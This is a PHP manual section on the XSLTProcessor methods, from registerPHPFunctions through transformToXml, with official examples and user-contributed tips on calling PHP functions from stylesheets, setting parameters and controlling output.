XSLTProcessor::registerPHPFunctions — Enables the ability to use PHP functions as XSLT functions

说明

XSLTProcessor::registerPHPFunctions ([ mixed $restrict ] ) : void

This method enables the ability to use PHP functions as XSLT functions within XSL stylesheets.

参数

restrict

Use this parameter to only allow certain functions to be called from XSLT.

This parameter can be either a string (a function name) or an array of functions.

返回值

没有返回值。

范例

Example #1 Simple PHP Function call from a stylesheet

<?php
$xml = <<<EOB
<allusers>
 <user>
  <uid>bob</uid>
 </user>
 <user>
  <uid>joe</uid>
 </user>
</allusers>
EOB;
$xsl = <<<EOB
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">
<xsl:output method="html" encoding="utf-8" indent="yes"/>
 <xsl:template match="allusers">
  <html><body>
    <h2>Users</h2>
    <table>
    <xsl:for-each select="user">
      <tr><td>
        <xsl:value-of
             select="php:function('ucfirst',string(uid))"/>
      </td></tr>
    </xsl:for-each>
    </table>
  </body></html>
 </xsl:template>
</xsl:stylesheet>
EOB;
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);

$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
echo $proc->transformToXML($xmldoc);
?>

更新日志

版本 | 说明
5.1.0 | The restrict parameter was added.

User Contributed Notes

Matthew, info at mathias-schaefer dot de 25-Nov-2010 08:34
=> there is no instance of your class needed, you have to take care about the namespace (using 5.3).

<!-- xsl:
<xsl:value-of select="php:function ('My\Name\Space\MyClassName::methodName',1+2)"/>
--->

<?php
namespace My\Name\Space;

   class MyClassName
   {
      static public function methodName($someArgument)
      {
         return "resultis:".$someArgument;
      }
   }
?>

<!-- result:
resultis:3
-->

=> no to-string conversion of the argument needed
=> returning numbers is also possible (maybe DOM nodes too)

Keep on hackin'
Demerit 10-Aug-2010 07:58
Let's get the terminology correct here, folks.

If you are calling a function that is residing within a class, reference it by its INSTANCE name, NOT its class name.

class.my_class.php:

<?php
class class_name {
static function function_name($in){
return ($out);
}
}
?>

calling_document.php:

<?php
require_once('class.my_class.php');
$instance_name=new class_name();
?>

my_xslt.xsl:

<xsl:value-of select="php:function ('instance_name::function_name','garbage')" />

BTW, in 5.1.6 double-colon (::) is the only thing that works when calling a function that resides within a class. However, you must declare your function as static. Using -> as some have suggested (e.g., php:function ('instance_name->function_name','garbage')) doesn't work at all, no matter how you declare your function.
Nic Luciano 22-Jul-2009 11:09
Ritch said "If you wish to use a function from inside a class use the double colon (::) notation..."

Also note that the class function must be declared as static.
Ariz Jacinto 08-Jul-2008 02:21
If you want to use replace() function similar to XPath 2.0[1]  and you want to avoid a long XSLT function similar to this one[2], you can use PHP's str_replace() instead:

   <xsl:value-of select="php:functionString('str_replace','pattern', 'replacement' , . )">

Links:
  [1] http://www.w3.org/TR/2004/WD-xpath-functions-20041029/#func-replace
  [2] http://aspn.activestate.com/ASPN/Cookbook/XSLT/Recipe/65426

_
thsoft at vipmail dot hu 27-Dec-2007 02:22
Unfortunately, you can't pass arrays to PHP from XLST.
But you can pass an arbitrary number of arguments to a PHP function and then get them with func_get_args() as an array.
[There's no sense writing a function that is identical to the array() construct, because a function's return value is converted to a string when passed as an argument to another function. This means deep arrays cannot be handled this way.]
thsoft at vipmail dot hu 31-Jan-2007 03:20
The correct way to receive DOM nodes (let it be element, document, document fragment etc.) returned from PHP is to use <xsl:copy-of select="php:function...

I found the idea and an example here: http://bugs.php.net/bug.php?id=29409

For the technical details about the reason, see http://www.w3.org/TR/xslt#copy-of
phil at worldpoolfederation dot com 01-Dec-2006 03:22
Not true

Use :: to call static functions
Use -> to call non static functions

You must define a function as static in php 5.1 to be able to call it statically.
mark at thirst dot org 10-Oct-2006 07:25
Ritch said "If you wish to use a function from inside a class use the double colon (::) notation..."   This worked in 5.0.4 but no longer works in 5.1.6.
franp at free dot fr 02-Sep-2006 01:45
Note that if you want your output to validate against some xhtml dtd, you must add the following attribute to the xsl:stylesheet element of the xslt stylesheet :
exclude-result-prefixes="php".

Otherwise, you get an "invalid attribute xmlns:php" error.
taylorbarstow at that google mail thingy 26-May-2006 05:33
Add-on to my previous note (below) about returning nodesets to XSLT from PHP functions:

You don't have to return a DOMDocument, DOMElement works just as well.  Plus, retuning a DOMElement gets around the problem of discarding the root node which I discuss below and which is also touched on by "Ingram".
heinemann dot juergen at hjcms dot de 08-Mar-2006 02:23
You can find mor Examples at PHP Sources php-5.*/ext/xsl/tests
<?php

$xform = <<<EOT
<?xml version = '1.0' encoding = 'utf-8' ?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl"
    xsl:extension-element-prefixes="php"
>
<xsl:output method="xml" indent="yes" encoding="utf-8" />
<xsl:namespace-alias stylesheet-prefix="php" result-prefix="xsl" />
<xsl:template match="root">
<html>
<head>
    <title>Dateformat</title>
</head>
<body>
<xsl:for-each select="datenode">
    <li>
        <xsl:value-of select="php:functionString('convertDate', . )" />
    </li>
    </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
EOT;

function convertDate( $i )
{
    setlocale( LC_TIME, 'de_DE' );
    return utf8_encode( strftime( '%B %d %A %Y %H:%M:%S CET', $i ) );
}

$xsl = new XSLTProcessor;
$xsl->registerPHPFunctions();
$xsl->setParameter( 'DOCTYPE', 'PUBLIC', 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd' );
$xsl->setParameter( 'html', 'xmlns', 'http://www.w3.org/1999/xhtml' );

$xdom = new DomDocument( '1.0', 'utf-8' );
$xdom->loadXML( $xform );

$xsl->importStyleSheet( $xdom );
unset( $xdom );

$dom = new DomDocument( '1.0', 'utf-8' );
$r = $dom->appendChild( $dom->createElement( 'root' ) );
foreach ( range( 1, 12 ) AS $i ) {
    $r->appendChild( $dom->createElement( 'datenode', mktime( date('G'), date('i'), date('s'), $i, date('d'), date('Y') ) ) );
}

header( "Content-Type: text/html; CHARSET=gb2312;" );
header( "Content-Encoding: utf-8" );
echo $xsl->transformToXML( $dom );

?>
Ingram 28-Feb-2006 12:33
Upon testing returning of a nodeset contributed by

taylorbarstow at that google mail thingy

(which works excellently, TY!)

I found that with using:

===
"Presumably, it's worth creating a template to do the discard:

<xsl:template select="*" mode="discardRoot">
   <xsl:apply-templates select="./*" />
</xsl:template>

Which you can call like so:

<xsl:apply-templates select="php:function('getNodeSet')" mode="discardRoot" /> "
===

I could only output the text and not any of the tags after applying templates - i.e. it stripped all elements around text.

Instead using:

===
<xsl:template match="/">
   <xsl:for-each select="php:function('getNodeSet')" />
     <xsl:apply-templates />
   </xsl:for-each>
</xsl:template>

which effectively discards the root node.
===

Worked fine and allowed me to apply-templates without problem on the returned nodeset.
hopeseekr at gmail dot com 01-Feb-2006 12:17
One of the peskiest things I had problems with was encoding URL parameters.  I mean, pretend you want to populate a link with "search+terms" instead of just "search terms".  I was including two seperate URLs in the XML and that was ludicrous.

Below is a far more elegant PHP+XSLT solution.  You will also see it uses two *undocumented* features of registerPHPFunctions(), namely php:functionString() and the passing of parameters to the function.  I figured this out by trial and error; I really hope this note helps you as it *greatly* expands the power of php functions in XSLT!

<?php
/* --- XML input --- */
<search_results>
   <query>concert tickets</query>
</search_results>

/* --- XSL code --- */
<!-- Display query -->
<xsl:template match="search_results">
   <!-- Get URL-encoded string via PHP -->
   <xsl:variable name="safeurl" as="xs:string" select="php:functionString('urlencode', query)" />
   <p>Your search for <em><xsl:value-of select="query"/></em> can be continued at <a href="http://www.tixtix.com/search.php?q={$safeurl}">our search engine</a></p>
</xsl:template>

/* --- XHTML output --- */
<p>Your search for <em>concert tickets</em> can be continued at <a href="http://www.tixtix.com/search.php?q=space+cowboy">our search engine</a></p>
?>

Cool, huh?
taylorbarstow at that google mail thingy 01-Dec-2005 07:14
From a PHP function, you can pass a nodeset back to XSL using a DOMDocument.  For example:

<?php

function getNodeSet() {
   $xml =
       "<test>" .
       "<a-node>This is a node</a-node>" .
       "<a-node>This is another node</a-node>" .
       "</test>";
   $doc = new DOMDocument;
   $doc->loadXml($xml);
   return $doc;
}

?>

The only problem I've found is that the root level node in your returned DOM document acts like the root level node of your original.   SO, it's easy to introduce an infinite loop like so:

<xsl:template match="/">
   <xsl:apply-templates select="php:function('getNodeSet')" />
</xsl:template>

To avoid this, I've been using a construct like:

<xsl:template match="/">
   <xsl:for-each select="php:function('getNodeSet')" />
      <xsl:apply-templates />
   </xsl:for-each>
</xsl:template>

which effectively discards the root node.  Presumably, it's worth creating a template to do the discard:

<xsl:template select="*" mode="discardRoot">
   <xsl:apply-templates select="./*" />
</xsl:template>

Which you can call like so:

<xsl:apply-templates select="php:function('getNodeSet')" mode="discardRoot" />
Ritch at Bugsoftware dot co dot uk 22-Jun-2005 03:18
If you wish to use a function from inside a class use the double colon (::) notation, for example;

php:functionString('classname::function')

The funtion is fired off as a static and as such acts like a function in the global namespace.
benbarnett 04-Mar-2005 04:34
You can use the php:functionString() in the XSL, which will automatically convert output to a string!
zac at zacbowling dot com 27-Oct-2004 01:48
One thing I have told a lot of people to do if they are having
issues with this function is to check for any 'xmlns' attributes
that get generated and added to your xml pages by some
types of popular software.

<?php
$file = "http://data.map***.net/m***ck.asmx/GetMessages?IMEI=$id";

$docxml = file_get_contents($file);

//You may have to do something like this where
//I remove any instance of xmlns tags that get
//returned by my ASP.NET SOAP responses.

$docxml =
 str_replace("xmlns=\"http://data.map***.net/m***ck.asmx?WSDL\"",
  "",$docxml);

$xslt = new xsltProcessor;

//You don't remove them then this function will blow up.
$xslt->registerPHPFunctions();
$xslt->importStyleSheet(DomDocument::load('../xsl/message.xsl'));
print $xslt->transformToXML(DomDocument::loadXML($docxml));

?>

Also a few cool tricks with this function is that you can call
built in PHP functions. For example:

<xsl:value-of
  select="php:function('nl2br',string(MessageContent/Message))"
  disable-output-escaping="yes"/>

That XSL value will now return your normal string but replace
all your new line charactors in your xml with '<br />'s.

Also note the 'disable-output-escaping="yes"' statement. If
you don't call this, then the output of that bind will be ran
thru basicly a "htmlencode()" type function.

Last but not least, take a look at the 'string()' function I
called in XSL before passing it back. That is because without
calling that, when it runs it will try and pass the node object,
and not its value (which is what you most likely only want).

This function is very awsome and could lead to some very
interesting code development. Skins could be loaded
remotely. You could write an RSS viewer in PHP without much
code. You could parse XHTML pages into another view (either
localy or remotely). Then you can take that same XML
content and throw it against ASP.NET, Java, or even a
command line processing tool using that same exact XSL
style sheet and generate the front ends for you page without
much change. I'm very excited.

Happy codding.
junkmail at eighteyes dot com 08-Oct-2004 02:52
When writing a stylesheet that uses a callback function be sure to include a namespace declaration for php, as follows:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" version='1.0'>
begemot at php dot com dot ua 28-Sep-2004 06:24
I think it help  your.
<?php

function dateLang () {
        return strftime("%A");
}

$xsl = new DomDocument();
$xsl->load("datetime.xsl");
$inputdom = new DomDocument();
$inputdom->load("today.xml");

$proc = new XsltProcessor();
$proc->registerPhpFunctions();

// Load the documents and process using $xslt
$xsl = $proc->importStylesheet($xsl);

/* transform and output the xml document */
$newdom = $proc->transformToDoc($inputdom);

print $newdom->saveXML();

?>

Here's the XSLT stylesheet, datetime.xsl, that will call that function:

<?xml version="1.0" encoding="iso-8859-1" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
  <xsl:value-of select="php:function('dateLang')" />
</xsl:template>
</xsl:stylesheet>

And here's an absolute minimal XML file, today.xml, to pass through the stylesheet (although articles.xml would achieve the same result):

<?xml version="1.0" encoding="iso-8859-1" ?>
<today></today>
zac at zacbowling dot com 26-Aug-2004 09:48
One thing to note about this function. A lot of values need to be converted to a XSLT string using the "string()" function in XLS before you pass them to your functions, and when you return them make sure that if they are strings that you call the "strval()" in php before doing so. This saved me hours.

Hope that helps.

Zac Bowling


Remove parameter

  • ? XSLTProcessor::registerPHPFunctions
  • XSLTProcessor::setParameter ?
  • PHP Manual
  • XSLTProcessor
  • Remove parameter

XSLTProcessor::removeParameter

(PHP 5, PHP 7)

XSLTProcessor::removeParameter — Remove parameter

说明

XSLTProcessor::removeParameter ( string $namespaceURI , string $localName ) : bool

Removes a parameter, if set. This will make the processor use the default value for the parameter as specified in the stylesheet.

参数

namespaceURI

The namespace URI of the XSLT parameter.

localName

The local name of the XSLT parameter.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XSLTProcessor::setParameter() - Set value for a parameter
  • XSLTProcessor::getParameter() - Get value of a parameter

User Contributed Notes

There are no user contributed notes for this page.


Set value for a parameter

  • ? XSLTProcessor::removeParameter
  • XSLTProcessor::setProfiling ?
  • PHP Manual
  • XSLTProcessor
  • Set value for a parameter

XSLTProcessor::setParameter

(PHP 5, PHP 7)

XSLTProcessor::setParameter — Set value for a parameter

说明

XSLTProcessor::setParameter ( string $namespace , string $name , string $value ) : bool
XSLTProcessor::setParameter ( string $namespace , array $options ) : bool

Sets the value of one or more parameters to be used in subsequent transformations with XSLTProcessor. If the parameter doesn't exist in the stylesheet it will be ignored.

参数

namespace

The namespace URI of the XSLT parameter.

name

The local name of the XSLT parameter.

value

The new value of the XSLT parameter.

options

An array of name => value pairs. This syntax is available since PHP 5.1.0.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 Changing the owner before the transformation

<?php

$collections = array(
    'Marc Rutkowski' => 'marc',
    'Olivier Parmentier' => 'olivier'
);

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

foreach ($collections as $name => $file) {
    // Load the XML source
    $xml = new DOMDocument;
    $xml->load('collection_' . $file . '.xml');

    $proc->setParameter('', 'owner', $name);
    $proc->transformToURI($xml, 'file:///tmp/' . $file . '.html');
}

?>

参见

  • XSLTProcessor::getParameter() - Get value of a parameter
  • XSLTProcessor::removeParameter() - Remove parameter

User Contributed Notes

richard at aggmedia dot net 04-Mar-2009 07:47
Note that there is no way to remove a parameter from an XSLTProcessor unless you know its name, and there is no way (that I can find) to get a list of the current parameters.

This means that you cannot reuse an XSLTProcessor with different parameters unless you call XSLTProcessor->removeParameter() on every parameter, and to do that you need to know the names of all the currently set parameters.

I bumped into this because we were caching XSLTProcessors for reuse, and they were spitting out content based on phantom parameters (they were still there from previous uses).
Lennaert van der Linden 13-Feb-2008 06:28
The parameter will not be set if the value contains both single and double quotes. Instead a warning will be shown when transforming the document:

PHP Warning:  XSLTProcessor::transformToXml(): Cannot create XPath expression (string contains both quote and double-quotes)
brettz9 08-May-2007 08:27
It seems heinemann's usage is not correct and does not achieve the intended result.

This method's purpose is to change a global <xsl:param> value in the XSL stylesheet--not to change an attribute of any other element.  <xsl:param> basically lets you set up a stylesheet which can be customized (as from PHP) externally (without needing to tamper with the original XSL file).

Here's an example of usage (that will work):

Stylesheet:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:param name="print_something" select="defaultstring"/>
    <xsl:template match="/mydoc">
        <p style="color:red;">Printed parameter: <xsl:value-of select="$print_something"/></p>
    </xsl:template>
</xsl:stylesheet>

Script:

<?php
$dom = new DOMDocument();
$xsl = new XSLTProcessor;
$xsl->setParameter( '', 'print_something', "Now I've overridden the default!");
$style = realpath( "./my_stylesheet.xslt" );
$dom->load($style);
$xsl->importStyleSheet($dom);
$dom->loadXML('<mydoc></mydoc>');

$out = $xsl->transformToXML( $dom );

var_dump( '<pre>',
    htmlentities( $out, ENT_QUOTES, 'utf-8' ),
    $xsl->getParameter('', 'print_something'),
'</pre>' );
?>

gives:

string(5) "

"
string(143) "<?xml version="1.0"?>
<p style="color:red;">Printed parameter: Now I've overridden the default!</p>
"
string(32) "Now I've overridden the default!"
string(6) "

"

Notice that at present adding a namespace will not work. The only option at present is to set the first parameter for namespace to an empty string (though you can add the prefix with colon to the second argument for name in order to set the parameter for a namespace-prefixed parameter name).

See http://bugs.php.net/bug.php?id=30622
OrionI 01-May-2007 07:19
After looking at this a little further (see http://bugs.php.net/bug.php?id=41248), it appears that it's a shortcoming of libxslt, not PHP, that prevents passing in DOMDocuments or DOMNodes as parameters.
Orion I 30-Apr-2007 08:46
I've been trying to pass in a DOMDocument object as a parameter so I can stuff a bunch of data into XML nodes, but it appears that this function is not capable of it. I was hoping to get it to work like it does in the .NET 2.0 framework. (See http://msdn2.microsoft.com/en-us/library/
system.xml.xsl.xsltargumentlist.addparam.aspx)
But after looking at the PHP 5.2.1 source code, /php-5.2.1/ext/xsl/xsltprocessor.c line 604-650, it appears that it's not possible to do so in PHP even though it appears that libxslt supports it (see http://xmlsoft.org/XSLT/html/libxslt-variables.html
#xsltParseGlobalParam)

In fact, if the parameters aren't exactly what's expected, you'll always get a warning like this:

Wrong parameter count for XSLTProcessor::setParameter()
heinemann dot juergen at hjcms dot de 07-Mar-2006 03:39
Example for how it works.

<?xml version = '1.0' encoding = 'utf-8' ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml"
    indent="yes"
    encoding="ISO-8859-15"
    doctype-system = "-//W3C//DTD XHTML 1.0 Transitional//EN"
    doctype-public = "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
/>
<xsl:template match="docs">
<html>
<head>
    <title>
        <xsl:text>Example</xsl:text>
    </title>
</head>
<body>
    <xsl:for-each select="block">
        <div>
            <xsl:value-of select="." />
        </div>
    </xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

------------------

<?php
$dom = new DomDocument( '1.0', 'utf-8' );
$xsl = new XSLTProcessor;
$xsl->setParameter( 'block', 'xmlns', 'http://www.w3.org/1999/xhtml' );

$style = realpath( "./my_stylesheet.xslt" );
$dom->load( $style );
$xsl->importStyleSheet( $dom );

$dom->loadXML( '<docs>
    <block>Howto set xhtml Transitional Namespaces width php</block>
    <block>see http://www.php.net</block>
</docs>' );

$out = $xsl->transformToXML( $dom );

var_dump( '<pre>',
    htmlentities( $out, ENT_QUOTES, 'utf-8' ),
    $xsl->getParameter( 'block', 'xmlns' ),
    $xsl->getParameter( 'docs', 'xmlns' ),
'</pre>' );

?>
Stoke A 11-Aug-2005 03:40
XSLTProcessor::removeParameter() won't work on parameters set via XSLTProcessor::setParameter(string namespace, array options) in 5.1+ -- they need to be set and removed one by one.


Sets profiling output file

  • ? XSLTProcessor::setParameter
  • XSLTProcessor::setSecurityPrefs ?
  • PHP Manual
  • XSLTProcessor
  • Sets profiling output file

XSLTProcessor::setProfiling

(PHP >= 5.3.0)

XSLTProcessor::setProfiling — Sets profiling output file

说明

XSLTProcessor::setProfiling ( string $filename ) : bool

Sets the file to output profiling information when processing a stylesheet.

参数

filename

Path to the file to dump profiling information.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 Example profiling output

<?php
// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->setProfiling('profiling.txt');
$proc->importStyleSheet($xsl); // attach the xsl rules

echo trim($proc->transformToDoc($xml)->firstChild->wholeText);
?>

The above code will produce the following information in the profiling file:

number               match                name      mode  Calls Tot 100us Avg

    0                   cd                                    2      3      1
    1           collection                                    1      1      1

                         Total                                3      4

User Contributed Notes

There are no user contributed notes for this page.


Set security preferences

  • ? XSLTProcessor::setProfiling
  • XSLTProcessor::transformToDoc ?
  • PHP Manual
  • XSLTProcessor
  • Set security preferences

XSLTProcessor::setSecurityPrefs

(PHP >= 5.4.0)

XSLTProcessor::setSecurityPrefs — Set security preferences

说明

public XSLTProcessor::setSecurityPrefs ( int $securityPrefs ) : int

Sets the security preferences.

参数

securityPrefs

The new security preferences. The following constants can be ORed: XSL_SECPREF_READ_FILE, XSL_SECPREF_WRITE_FILE, XSL_SECPREF_CREATE_DIRECTORY, XSL_SECPREF_READ_NETWORK, XSL_SECPREF_WRITE_NETWORK. Alternatively, XSL_SECPREF_NONE or XSL_SECPREF_DEFAULT can be passed.

返回值

Returns the old security preferences.

User Contributed Notes

There are no user contributed notes for this page.


Transform to a DOMDocument

  • ? XSLTProcessor::setSecurityPrefs
  • XSLTProcessor::transformToUri ?
  • PHP Manual
  • XSLTProcessor
  • Transform to a DOMDocument

XSLTProcessor::transformToDoc

(PHP 5, PHP 7)

XSLTProcessor::transformToDoc — Transform to a DOMDocument

说明

XSLTProcessor::transformToDoc ( DOMNode $doc ) : DOMDocument

Transforms the source node to a DOMDocument applying the stylesheet given by the XSLTProcessor::importStylesheet() method.

参数

doc

The node to be transformed.

返回值

The resulting DOMDocument or FALSE on error.

范例

Example #1 Transforming to a DOMDocument

<?php

// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

echo trim($proc->transformToDoc($xml)->firstChild->wholeText);

?>

以上例程会输出：

Hey! Welcome to Nicolas Eliaszewicz's sweet CD collection!

参见

  • XSLTProcessor::transformToUri() - Transform to URI
  • XSLTProcessor::transformToXml() - Transform to XML

User Contributed Notes

franp at free dot fr 30-Aug-2006 05:16
In most cases if you expect XML (or XHTML) as output you better use transformToXML() directly. You gain better control over xsl:output attributes, notably omit-xml-declaration.

Instead of :
$proc = new XSLTProcessor();
$proc->importStylesheet($xsl);
$dom = $proc->transformToDoc($xml);
echo $dom->saveXML();

do use :
$proc = new XSLTProcessor();
$proc->importStylesheet($xsl);
$newXml = $proc->transformToXML($xml);
echo $newXml;

In the first case, <?xml version="1.0" encoding="utf-8"?> is added whatever you set the omit-xml-declaration while transformToXML() take the attribute into account.


Transform to URI

  • ? XSLTProcessor::transformToDoc
  • XSLTProcessor::transformToXml ?
  • PHP Manual
  • XSLTProcessor
  • Transform to URI

XSLTProcessor::transformToUri

(PHP 5, PHP 7)

XSLTProcessor::transformToUri — Transform to URI

说明

XSLTProcessor::transformToURI ( DOMDocument $doc , string $uri ) : int

Transforms the source node to an URI applying the stylesheet given by the XSLTProcessor::importStylesheet() method.

参数

doc

The document to transform.

uri

The target URI for the transformation.

返回值

Returns the number of bytes written or FALSE if an error occurred.

范例

Example #1 Transforming to a HTML file

<?php

// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

$proc->transformToURI($xml, 'file:///tmp/out.html');

?>

参见

  • XSLTProcessor::transformToDoc() - Transform to a DOMDocument
  • XSLTProcessor::transformToXml() - Transform to XML

User Contributed Notes

jonbarnett at gmail dot com 13-Jul-2007 12:32
Sometimes you don't want to transform to a file, an XML string (because you're using text or html), or a DOMDocument.

To transform to standard output, you can use php://output

<?php
$proc->transformToURI($xml, 'php://output');
?>

To transform to a string (of HTML or text, instead of XML), you can use the above in conjunction with output buffering.
<?php
ob_start();
$proc->transformToURI($xml, 'php://output');
$outputString = ob_get_flush();
?>


Transform to XML

  • ? XSLTProcessor::transformToUri
  • 图形用户界面(GUI) 扩展 ?
  • PHP Manual
  • XSLTProcessor
  • Transform to XML

XSLTProcessor::transformToXml

(PHP 5, PHP 7)

XSLTProcessor::transformToXml — Transform to XML

说明

XSLTProcessor::transformToXml ( object $doc ) : string

Transforms the source node to a string applying the stylesheet given by the xsltprocessor::importStylesheet() method.

参数

doc

The DOMDocument or SimpleXMLElement object to be transformed.

返回值

The result of the transformation as a string or FALSE on error.

范例

Example #1 Transforming to a string

<?php

// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');

$xsl = new DOMDocument;
$xsl->load('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules

echo $proc->transformToXML($xml);

?>

以上例程会输出：

Hey! Welcome to Nicolas Eliaszewicz's sweet CD collection!

<h1>Fight for your mind</h1><h2>by Ben Harper - 1995</h2><hr>
<h1>Electric Ladyland</h1><h2>by Jimi Hendrix - 1997</h2><hr>

参见

  • XSLTProcessor::transformToDoc() - Transform to a DOMDocument
  • XSLTProcessor::transformToUri() - Transform to URI

User Contributed Notes

Josef Hornych 04-Mar-2015 07:42
Note that the method's name is sort of deceiving, because it does not only output XML, but any string that is generated by the processor. It should rather be called transformToString. So if your output method is  "text/plain", for example, this is the way to receive the resulting string.
zweibieren at yahoo dot com 15-Sep-2010 11:15
Entities are omitted from the output with the code above.
The symptom was that &nbsp;
-- which should work with UTF-8 encoding --
did not even get to XSLTProcessor, let alone through it.
After too much hacking I discovered the simple fix:
set substituteEntities to true in the DOMDocument for the XSL file.
That is, replace the loading of the xsl document with

<?php
   $xsl = new DOMDocument;
   $xsl->substituteEntities = true;    // <===added line
   $xsl->load('collection.xsl');
?>

However, this fails when data entries have HTML entity references. (Some database entries may even contain user generated text.) libxml has the pedantic habit of throwing a FATAL error for any undefined entitiy. Solution: hide the entities so libxml doesn't see them.

<?php
function hideEntities($data) {
        return str_replace("&", "&amp;", $data);
}
?>

You could just add this to the example, but it is tidier to define a function to load data into a DOMDocument. This way you don't need entity declarations in catalog.xsl, either.

<?php
// Added function for  Example #1

/** Load an XML file and create a DOMDocument.
Handles arbitrary entities, even undefined ones.
*/
function fileToDOMDoc($filename) {
    $dom= new DOMDocument;
    $xmldata = file_get_contents($filename);
    $xmldata = str_replace("&", "&amp;", $xmldata);  // disguise &s going IN to loadXML()
    $dom->substituteEntities = true;  // collapse &s going OUT to transformToXML()
    $dom->loadXML($xmldata);
    return $dom;
}

// Compare with  Example #1 Transforming to a string

// Load the XML sources
$xml = fileToDOMDoc('collection.xml');
$xsl = fileToDOMDoc('collection.xsl');

// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl);

// transform $xml according to the stylesheet $xsl
echo $proc->transformToXML($xml); // transform the data
?>
michael dot weibel at tilllate dot com 03-Dec-2009 01:33
If you retrieve "false" from the transformToXML method, use libxml_get_last_error() or libxml_get_errors() to retrieve the errors.
Charlie Murder 29-Nov-2009 07:43
To prevent your xsl file from automatically prepending

<?xml version="1.0"?>

whilst keeping the output as xml, which is preferable for a validated strict xhtml file, rather specify output as

<xsl:output method="xml" omit-xml-declaration="yes" />
john 05-Feb-2008 11:09
If your xsl doesn't have <html> tags. The output will contain <?xml version="1.0"?>. To fix this you can add the following to your xsl stylesheet:

<xsl:output
method="html" />
smubldg4 at hotmail dot com 02-Oct-2007 08:58
How to fix:: *Fatal error: Call to undefined method domdocument::load()*

If you get this error, visit the php.ini file and try commenting out the following, like this:

;[PHP_DOMXML]
;extension=php_domxml.dll

Suddenly, the wonderfully simple example above works as advertised.
jeandenis dot boivin at gmail dot com 13-Mar-2007 04:59
$domTranObj = $xslProcessor->transformToDoc($domXmlObj);
$domHtmlText = $domTranObj->saveHTML();

Do fix the <meta> for valid XHTML but do not correctly end empty node like <br /> which ouput like this : <br></br>

Some browser note this as 2 different <br /> ...

To fix this use

$domTranObj = $xslProcessor->transformToDoc($domXmlObj);
$domHtmlText = $domTranObj->saveXML();
Thomas Praxl 22-Jan-2007 01:36
I noticed an incompatibility between libxslt (php4) and the transformation through XSLTProcessor.
Php5 and the XSLTProcessor seem to add implicit CDATA-Section-Elements.
If you have an xslt like

<script type="text/javascript">
foo('<xsl:value-of select="bar" />');
</script>

It will result in

<script type="text/javascript"><![CDATA[
foo('xpath-result-of-bar');
]]></script>

(at least for output method="xml" in order to produce strict xhtml with xslt1)

That brings up an error (at least) in Firefox 1.5 as it is no valid javascript.
It should look like that:

<script type="text/javascript">//<![CDATA[
foo('xpath-result-of-bar');
]]></script>

As the CDATA-Section is implicit, I was not able to disable the output or to put a '//' before it.

I tried everything about xsl:text disable-output-escaping="yes"

I also tried to disable implicit adding of CDATA with <output cdata-section-elements="" />
(I thought that would exclude script-tags. It didn't).

The solution:

<xsl:text disable-output-escaping="yes">&lt;script type="text/javascript"&gt;
  foo('</xsl:text><xsl:value-of select="bar" /><xsl:text disable-output-escaping="yes">');
            &lt;/script&gt;</xsl:text>

Simple, but it took me a while.
werner@mollentze 15-Aug-2006 01:53
The transformToXML function can produce valid XHTML output - it honours the <xsl:output> element's attributes, which defines the format of the output document.

For instance, if you want valid XHTML 1.0 Strict output, you can provide the following attribute values for the <xsl:output> element in your XSL stylesheet:

<xsl:output
method="xml"
doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"
doctype-public="-//W3C//DTD XHTML 1.0 Strict//EN" />
lsoethout at hotmail dot com 19-Feb-2006 02:35
The function transformToXML has a problem with the meta content type tag. It outputs it like this:

    <meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312">

which is not correct X(HT)ML, because it closes with '>' instead of with '/>'.

A way to get the output correct is to use instead of transformToXML first transformToDoc anf then saveHTML:

    $domTranObj = $xslProcessor->transformToDoc($domXmlObj);
    $domHtmlText = $domTranObj->saveHTML();
jlipps at mac 06-Jan-2005 08:05
transformToXML, if you have registered PHP functions previously, does indeed attempt to execute these functions when it finds them in a php:function() pseudo-XSL function. It even finds static functions within classes, for instance:

<xsl:value-of select="php:function('MyClass::MyFunction', string(@attr), string(.))" disable-output-escaping="yes"/>

However, in this situation transformToXML does not try to execute "MyClass::MyFunction()". Instead, it executes "myclass:myfunction()". In PHP, since classes and functions are (I think) case-insensitive, this causes no problems.

